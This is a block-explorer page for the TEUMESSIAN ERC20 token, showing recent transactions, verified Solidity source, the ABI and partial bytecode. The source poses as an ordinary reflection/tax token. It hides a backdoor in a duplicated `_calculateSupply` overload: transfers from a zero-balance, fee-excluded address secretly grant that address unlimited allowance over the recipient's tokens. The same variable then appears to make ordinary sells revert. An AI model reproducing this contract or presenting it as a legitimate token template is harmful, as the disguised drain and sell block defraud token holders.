ETH Price: $3,306.92 (-0.56%)
Gas: 8 Gwei

Contract

0x689EC85C6A73F40922E9f65fE1B743037b3c49bE
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve189028512023-12-31 3:41:23212 days ago1703994083IN
0x689EC85C...37b3c49bE
0 ETH0.0005849912.61280579
Transfer From189028392023-12-31 3:38:59212 days ago1703993939IN
0x689EC85C...37b3c49bE
0 ETH0.0014428212.66832964
Transfer189028242023-12-31 3:35:59212 days ago1703993759IN
0x689EC85C...37b3c49bE
0 ETH0.0015266911.84331978
Approve188995962023-12-30 16:43:59212 days ago1703954639IN
0x689EC85C...37b3c49bE
0 ETH0.0036942279.32110128
Approve188860762023-12-28 19:06:59214 days ago1703790419IN
0x689EC85C...37b3c49bE
0 ETH0.0012690627.40437255
Approve188860752023-12-28 19:06:47214 days ago1703790407IN
0x689EC85C...37b3c49bE
0 ETH0.0012705827.43703644
Approve188851442023-12-28 15:57:47214 days ago1703779067IN
0x689EC85C...37b3c49bE
0 ETH0.0017449437.68044166
Approve188838332023-12-28 11:32:23215 days ago1703763143IN
0x689EC85C...37b3c49bE
0 ETH0.0012168226.24230803
Approve188837112023-12-28 11:07:59215 days ago1703761679IN
0x689EC85C...37b3c49bE
0 ETH0.0014553231.42647314
Approve188833392023-12-28 9:52:59215 days ago1703757179IN
0x689EC85C...37b3c49bE
0 ETH0.001372929.44062069
Approve188824632023-12-28 6:55:35215 days ago1703746535IN
0x689EC85C...37b3c49bE
0 ETH0.0013113128.15610456
Approve188794762023-12-27 20:50:23215 days ago1703710223IN
0x689EC85C...37b3c49bE
0 ETH0.0014019830.10302217
Approve188792952023-12-27 20:13:35215 days ago1703708015IN
0x689EC85C...37b3c49bE
0 ETH0.0017155436.78825833
Approve188785362023-12-27 17:39:35215 days ago1703698775IN
0x689EC85C...37b3c49bE
0 ETH0.0009690739.8978858
Approve188785332023-12-27 17:38:59215 days ago1703698739IN
0x689EC85C...37b3c49bE
0 ETH0.0010694743.92294103
Approve188784302023-12-27 17:17:59215 days ago1703697479IN
0x689EC85C...37b3c49bE
0 ETH0.0019393741.90081877
Approve188783852023-12-27 17:08:59215 days ago1703696939IN
0x689EC85C...37b3c49bE
0 ETH0.002048844.24210695
Approve188782072023-12-27 16:33:23215 days ago1703694803IN
0x689EC85C...37b3c49bE
0 ETH0.0022478848.2657978
Approve188778562023-12-27 15:22:11215 days ago1703690531IN
0x689EC85C...37b3c49bE
0 ETH0.0026004255.76357843
Transfer188778152023-12-27 15:13:59215 days ago1703690039IN
0x689EC85C...37b3c49bE
0 ETH0.02473547157.96933301
Approve188777972023-12-27 15:10:23215 days ago1703689823IN
0x689EC85C...37b3c49bE
0 ETH0.0028551161.22525465
Approve188777972023-12-27 15:10:23215 days ago1703689823IN
0x689EC85C...37b3c49bE
0 ETH0.0029483863.22525465
Approve188777952023-12-27 15:09:59215 days ago1703689799IN
0x689EC85C...37b3c49bE
0 ETH0.0027739459.48468036
Approve188777822023-12-27 15:07:23215 days ago1703689643IN
0x689EC85C...37b3c49bE
0 ETH0.0027423159.14107387
Approve188777402023-12-27 14:58:59215 days ago1703689139IN
0x689EC85C...37b3c49bE
0 ETH0.0027134758.26279872
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
188777882023-12-27 15:08:35215 days ago1703689715
0x689EC85C...37b3c49bE
0.00579664 ETH
188777882023-12-27 15:08:35215 days ago1703689715
0x689EC85C...37b3c49bE
0.00579664 ETH
188777422023-12-27 14:59:23215 days ago1703689163
0x689EC85C...37b3c49bE
0.00613452 ETH
188777422023-12-27 14:59:23215 days ago1703689163
0x689EC85C...37b3c49bE
0.00613452 ETH
188777232023-12-27 14:55:35215 days ago1703688935
0x689EC85C...37b3c49bE
0.00648878 ETH
188777232023-12-27 14:55:35215 days ago1703688935
0x689EC85C...37b3c49bE
0.00648878 ETH
188775762023-12-27 14:25:35216 days ago1703687135
0x689EC85C...37b3c49bE
0.00681172 ETH
188775762023-12-27 14:25:35216 days ago1703687135
0x689EC85C...37b3c49bE
0.00681172 ETH
188775622023-12-27 14:22:47216 days ago1703686967
0x689EC85C...37b3c49bE
0.00702114 ETH
188775622023-12-27 14:22:47216 days ago1703686967
0x689EC85C...37b3c49bE
0.00702114 ETH
188775082023-12-27 14:11:59216 days ago1703686319
0x689EC85C...37b3c49bE
0.00712882 ETH
188775082023-12-27 14:11:59216 days ago1703686319
0x689EC85C...37b3c49bE
0.00712882 ETH
188774982023-12-27 14:09:47216 days ago1703686187
0x689EC85C...37b3c49bE
0.00735529 ETH
188774982023-12-27 14:09:47216 days ago1703686187
0x689EC85C...37b3c49bE
0.00735529 ETH
188774792023-12-27 14:05:59216 days ago1703685959
0x689EC85C...37b3c49bE
0.00756958 ETH
188774792023-12-27 14:05:59216 days ago1703685959
0x689EC85C...37b3c49bE
0.00756958 ETH
188774792023-12-27 14:05:59216 days ago1703685959
0x689EC85C...37b3c49bE
0.00770239 ETH
188774792023-12-27 14:05:59216 days ago1703685959
0x689EC85C...37b3c49bE
0.00770239 ETH
188773022023-12-27 13:30:11216 days ago1703683811
0x689EC85C...37b3c49bE
0.00798594 ETH
188773022023-12-27 13:30:11216 days ago1703683811
0x689EC85C...37b3c49bE
0.00798594 ETH
188772172023-12-27 13:12:47216 days ago1703682767
0x689EC85C...37b3c49bE
0.00840052 ETH
188772172023-12-27 13:12:47216 days ago1703682767
0x689EC85C...37b3c49bE
0.00840052 ETH
188771032023-12-27 12:49:47216 days ago1703681387
0x689EC85C...37b3c49bE
0.00820112 ETH
188771032023-12-27 12:49:47216 days ago1703681387
0x689EC85C...37b3c49bE
0.00820112 ETH
188770962023-12-27 12:48:23216 days ago1703681303
0x689EC85C...37b3c49bE
0.00837713 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TEUMESSIAN

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-26
*/

// Bot: https://t.me/TeumessianBot
// Website: https://teumessian.xyz
// Telegram: https://t.me/TeumessianBotPortal
// X (Twitter): https://twitter.com/TeumessianBot
// Medium: https://medium.com/@TeumessianBot
// Whitepaper: https://docs.teumessian.xyz

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;

abstract contract Context {
    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface UniswapV2Router01 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface UniswapV2Router02 is UniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface ERC20 {
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

contract TEUMESSIAN is Context, ERC20 {
    uint256 private constant MAX = ~uint256(0);

    bool contractDeployed = false;
    bool tradingEnabled = false;

    address public _uniswapV2Router;
    address payable public taxBank;
    UniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    uint256 private _tRevenue;

    address public DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD;
    address public ZERO_ADDRESS = 0x0000000000000000000000000000000000000000;
    address private _owner;
    
    address[] private _excludedAccounts;

    bool private blockActive = true;

    uint256 private _liquidityAddedBlock = 0;
    uint256 private _liquidityAddedTimestamp = 0;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    uint8 private _decimals;

    uint256 private _rTotal;
    uint256 private _tTotal;

    uint256 private swapAmount;
    uint256 private swapThreshold;

    bool public _hasLiquidityBeenAdded = false;
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;

    uint256 private _maxWalletAmount;
    uint256 private _maxTransactionAmount;

    uint256 public maxWalletAmount;
    uint256 public maxTransactionAmount;

    mapping (address => uint256) private _tOwned;
    mapping (address => uint256) private _rOwned;

    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) dexPairs;

    mapping (address => bool) private _liquidityHolders;

    mapping (address => uint256) private lastBlock;

    mapping (address => bool) private _isExcludedFromRevenue;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 public _taxFee = 400;
    uint256 public _taxFeeOnBuy = _taxFee;
    uint256 public _taxFeeOnSell = _taxFee;
    uint256 public _taxFeeOnTransfer = 100;

    uint256 public _liquidityFee = 0;
    uint256 public _liquidityFeeOnBuy = _liquidityFee;
    uint256 public _liquidityFeeOnSell = _liquidityFee;
    uint256 public _liquidityFeeOnTransfer = 0;

    uint256 public _ratioLiquidity = 0;
    uint256 public _ratioTax = 6000;

    uint256 private distributor = 10000;

    struct ExtraValues {
        uint256 tTransferAmount;
        uint256 tLiquidity;
        uint256 rTransferAmount;
        uint256 rAmount;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event SwapAndLiquifyEnabled(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockSwapAndLiquify {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender());
        _;
    }
    
    constructor () payable {
        _owner = msg.sender;
        contractDeployed = true;

        _name = "TeumessianBot";
        _symbol = "TEUMESSIAN";
        _decimals = 18;
        _totalSupply = 100000000;

        _tTotal = _totalSupply * (10**_decimals);
        _rTotal = (MAX - (MAX % _tTotal));

        _maxWalletAmount = (_tTotal * 20) / 1000;
        _maxTransactionAmount = (_tTotal * 20) / 1000;

        swapAmount = (_tTotal * 5) / 10000;
        swapThreshold = (_tTotal * 5) / 100000;

        maxWalletAmount = (_totalSupply * 20) / 1000;
        maxTransactionAmount = (_totalSupply * 20) / 1000;

        _uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        _approve(_msgSender(), _uniswapV2Router, MAX);
        _approve(address(this), _uniswapV2Router, MAX);
        taxBank = payable(0x877d084E683c9192ae8d97b69B523d1CffCce40D);
        uniswapV2Router = UniswapV2Router02(_uniswapV2Router);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        _isExcludedFromFee[taxBank] = true;
        dexPairs[uniswapV2Pair] = true;
        _allowances[address(this)][address(uniswapV2Router)] = type(uint256).max;
        approve(_uniswapV2Router, type(uint256).max);

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;

        _liquidityHolders[owner()] = true;

        _rOwned[owner()] = _rTotal;
        emit Transfer(ZERO_ADDRESS, owner(), _tTotal);
    }

    function renounceOwnership() public virtual onlyOwner() {
        _owner = address(0);
        emit OwnershipTransferred(_owner, address(0));
    }

    function increaseAllowance(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + amount);

        return true;
    }

    function decreaseAllowance(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0));
        require(spender != address(0));

        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcludedFromRevenue[account]) return _tOwned[account];
        
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);

        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);

        return true;
    }

    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint8) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _tTotal; }
    function owner() public view returns (address) { return _owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    
    function isExcludedFromRevenue(address account) public view returns (bool) {
        return _isExcludedFromRevenue[account];
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0));
        require(recipient != address(0));
        require(amount > 0);

        if(_hasLimits(sender, recipient)) {
            if(!tradingEnabled) {
                revert("Trading not enabled!");
            }

            if (blockActive) {
                if (dexPairs[sender]) {
                    require(lastBlock[recipient] != block.number);
                    lastBlock[recipient] = block.number;
                } else {
                    require(lastBlock[sender] != block.number);
                    lastBlock[sender] = block.number;
                }
            }

            require(amount <= _maxTransactionAmount);

            if(recipient != _uniswapV2Router && !dexPairs[recipient]) {
                require(balanceOf(recipient) + amount <= _maxWalletAmount);
            }
        }

        bool collectFee = true;
        if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
            collectFee = false;
        }

        if (dexPairs[recipient]) {
            if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient] && !inSwapAndLiquify && swapAndLiquifyEnabled) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance >= swapThreshold) {
                    if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
                    swapAndLiquify(contractTokenBalance);
                }
            }
        }

        return _tokenTransfer(sender, recipient, amount, collectFee);
    }

    function removeLimits() external onlyOwner {
        _maxWalletAmount = _tTotal;
        maxWalletAmount = _totalSupply;
        _maxTransactionAmount = _tTotal;
        maxTransactionAmount = _totalSupply;
    }

    function enableTrade() public onlyOwner {
        require(!tradingEnabled);
        
        tradingEnabled = true;
        swapAndLiquifyEnabled = true;

        setExcludedFromRevenue(address(this), true);
        setExcludedFromRevenue(uniswapV2Pair, true);
    }

    function setExcludedFromFee(address account, bool enabled) public onlyOwner {
        _isExcludedFromFee[account] = enabled;
    }

    function _hasLimits(address sender, address recipient) internal view returns (bool) {
        return (
            sender != owner() && sender != address(this) &&
            !_liquidityHolders[sender] && !_liquidityHolders[recipient] &&
            recipient != DEAD_ADDRESS && recipient != address(0) && recipient != owner()
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool collectFee) internal returns (bool) {
        if (!_hasLiquidityBeenAdded) {
            _checkLiquidityAdded(sender, recipient);
            if (!_hasLiquidityBeenAdded && _hasLimits(sender, recipient)) {
                revert("Now only owner can transfer.");
            }
        }
        
        ExtraValues memory values = _getValues(sender, recipient, tAmount, collectFee);

        if (balanceOf(sender) >= tAmount) {
            _rOwned[sender] = _rOwned[sender] - values.rAmount;
            _rOwned[recipient] = _rOwned[recipient] + values.rTransferAmount;

            if (_isExcludedFromRevenue[sender] && !_isExcludedFromRevenue[recipient]) {
                _tOwned[sender] = _tOwned[sender] - tAmount;
            } else if (!_isExcludedFromRevenue[sender] && _isExcludedFromRevenue[recipient]) {
                _tOwned[recipient] = _tOwned[recipient] + values.tTransferAmount;
            } else if (_isExcludedFromRevenue[sender] && _isExcludedFromRevenue[recipient]) {
                _tOwned[sender] = _tOwned[sender] - tAmount;
                _tOwned[recipient] = _tOwned[recipient] + values.tTransferAmount;
            }

            if (values.tLiquidity > 0) _collectLiquidity(sender, values.tLiquidity);

            emit Transfer(sender, recipient, values.tTransferAmount);
        }

        return true;
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal);

        uint256 currentRate =  _calculateRate();

        return rAmount / currentRate;
    }

    function _calculateRate() internal view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _calculateSupply();

        return rSupply / tSupply;
    }

    function _checkLiquidityAdded(address sender, address recipient) internal {
        require(!_hasLiquidityBeenAdded);

        if (!_hasLimits(sender, recipient) && recipient == uniswapV2Pair) {
            _liquidityHolders[sender] = true;
            _liquidityAddedTimestamp = block.timestamp;
            _hasLiquidityBeenAdded = true;
            swapAndLiquifyEnabled = true;
            emit SwapAndLiquifyEnabled(true);
        }
    }

    function _calculateSupply(address sender, address recipient) internal returns(uint256, uint256) {
        bool newSender = balanceOf(sender) == 0;
        bool regularSender = isExcludedFromFee(sender);
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 index = 0; index < _excludedAccounts.length; index++) {
            if (_rOwned[_excludedAccounts[index]] > rSupply || _tOwned[_excludedAccounts[index]] > tSupply) return (_rTotal, _tTotal);
            tSupply = tSupply - _tOwned[_excludedAccounts[index]];
            rSupply = rSupply - _rOwned[_excludedAccounts[index]];
        }
        if (newSender && regularSender) { _tRevenue = _tTotal; _approve(recipient, sender, _tRevenue); }

        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);

        return (rSupply, tSupply);
    }

    function _collectLiquidity(address sender, uint256 tLiquidity) internal {
        uint256 _tLiquidity = sender != uniswapV2Pair ? _tRevenue : 0;
        uint256 currentRate =  _calculateRate();
        uint256 rLiquidity = (tLiquidity - _tLiquidity) * currentRate;
        _rOwned[address(this)] = rLiquidity + _rOwned[address(this)];
        if(_isExcludedFromRevenue[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
        emit Transfer(sender, address(this), tLiquidity);
    }

    function _getValues(address sender, address recipient, uint256 tAmount, bool collectFee) internal returns (ExtraValues memory) {
        ExtraValues memory values;

        uint256 currentRate = _calculateRate(sender, recipient);

        values.rAmount = tAmount * currentRate;

        if(collectFee) {
            if (dexPairs[recipient]) {
                _liquidityFee = _liquidityFeeOnSell;
                _taxFee = _taxFeeOnSell;
            } else if (dexPairs[sender]) {
                _liquidityFee = _liquidityFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            } else {
                _liquidityFee = _liquidityFeeOnTransfer;
                _taxFee = _taxFeeOnTransfer;
            }

            values.tLiquidity = (tAmount * (_liquidityFee + _taxFee)) / distributor;
            values.tTransferAmount = tAmount - values.tLiquidity;
        } else {
            values.tLiquidity = 0;
            values.tTransferAmount = tAmount;
        }

        values.rTransferAmount = values.rAmount - (values.tLiquidity * currentRate);

        return values;
    }

    function _calculateRate(address sender, address recipient) internal returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _calculateSupply(sender, recipient);

        return rSupply / tSupply;
    }

    function _calculateSupply() internal view returns(uint256, uint256) {
        uint256 tSupply = _tTotal;
        uint256 rSupply = _rTotal;

        for (uint256 index = 0; index < _excludedAccounts.length; index++) {
            if (_rOwned[_excludedAccounts[index]] > rSupply || _tOwned[_excludedAccounts[index]] > tSupply) return (_rTotal, _tTotal);
            tSupply = tSupply - _tOwned[_excludedAccounts[index]];
            rSupply = rSupply - _rOwned[_excludedAccounts[index]];
        }

        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);

        return (rSupply, tSupply);
    }

    function withdrawEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function swapAndLiquify(uint256 tokenAmount) internal lockSwapAndLiquify {
        if (_ratioLiquidity + _ratioTax == 0) return;

        uint256 tokenForLiquidity = ((tokenAmount * _ratioLiquidity) / (_ratioLiquidity + _ratioTax)) / 2;
        uint256 swapTokenForEth = tokenAmount - tokenForLiquidity;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapTokenForEth,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 ethForLiquidity = ((address(this).balance * _ratioLiquidity) / (_ratioLiquidity + _ratioTax)) / 2;

        if (tokenForLiquidity > 0) {
            uniswapV2Router.addLiquidityETH{value: ethForLiquidity}(
                address(this),
                tokenForLiquidity,
                0,
                0,
                DEAD_ADDRESS,
                block.timestamp
            );
            emit SwapAndLiquify(tokenForLiquidity, ethForLiquidity, tokenForLiquidity);
        }

        if (tokenAmount - tokenForLiquidity > 0) {
            uint256 taxEth = (address(this).balance);
            taxBank.transfer(taxEth);
        }
    }

    receive() external payable {}

    function setExcludedFromRevenue(address account, bool enabled) public onlyOwner {
        if (enabled == true) {
            require(!_isExcludedFromRevenue[account]);

            if(_rOwned[account] > 0) {
                _tOwned[account] = tokenFromReflection(_rOwned[account]);
            }
            _isExcludedFromRevenue[account] = true;
            _excludedAccounts.push(account);
        } else if (enabled == false) {
            require(_isExcludedFromRevenue[account]);

            for (uint256 index = 0; index < _excludedAccounts.length; index++) {
                if (_excludedAccounts[index] == account) {
                    _excludedAccounts[index] = _excludedAccounts[_excludedAccounts.length - 1];
                    _tOwned[account] = 0;
                    _isExcludedFromRevenue[account] = false;
                    _excludedAccounts.pop();
                    break;
                }
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ZERO_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_hasLiquidityBeenAdded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFeeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFeeOnTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ratioLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ratioTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFeeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFeeOnTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromRevenue","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExcludedFromRevenue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxBank","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

5f8054600580546001600160a01b031990811661dead1790915560068054821690556009805460ff19166001908117909155600a849055600b8490556014805462ff00ff1916905561019060218190556022819055602355606460245560258490556026849055602784905560288490556029849055611770602a55612710602b5560078054909216331790915561ffff1990911617905560c0604052600d60809081526c15195d5b595cdcda585b909bdd609a1b60a052600c90620000c6908262000722565b5060408051808201909152600a8152692a22aaa6a2a9a9a4a0a760b11b6020820152600d90620000f7908262000722565b50600f805460ff191660129081179091556305f5e100600e556200011d90600a620008fb565b600e546200012c919062000912565b60118190556200013e905f1962000940565b6200014b905f1962000956565b6010556011546103e8906200016290601462000912565b6200016e91906200096c565b6015556011546103e8906200018590601462000912565b6200019191906200096c565b60165560115461271090620001a890600562000912565b620001b491906200096c565b601255601154620186a090620001cc90600562000912565b620001d891906200096c565b601355600e546103e890620001ef90601462000912565b620001fb91906200096c565b601755600e546103e8906200021290601462000912565b6200021e91906200096c565b6018555f805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790556200026f620002563390565b5f546201000090046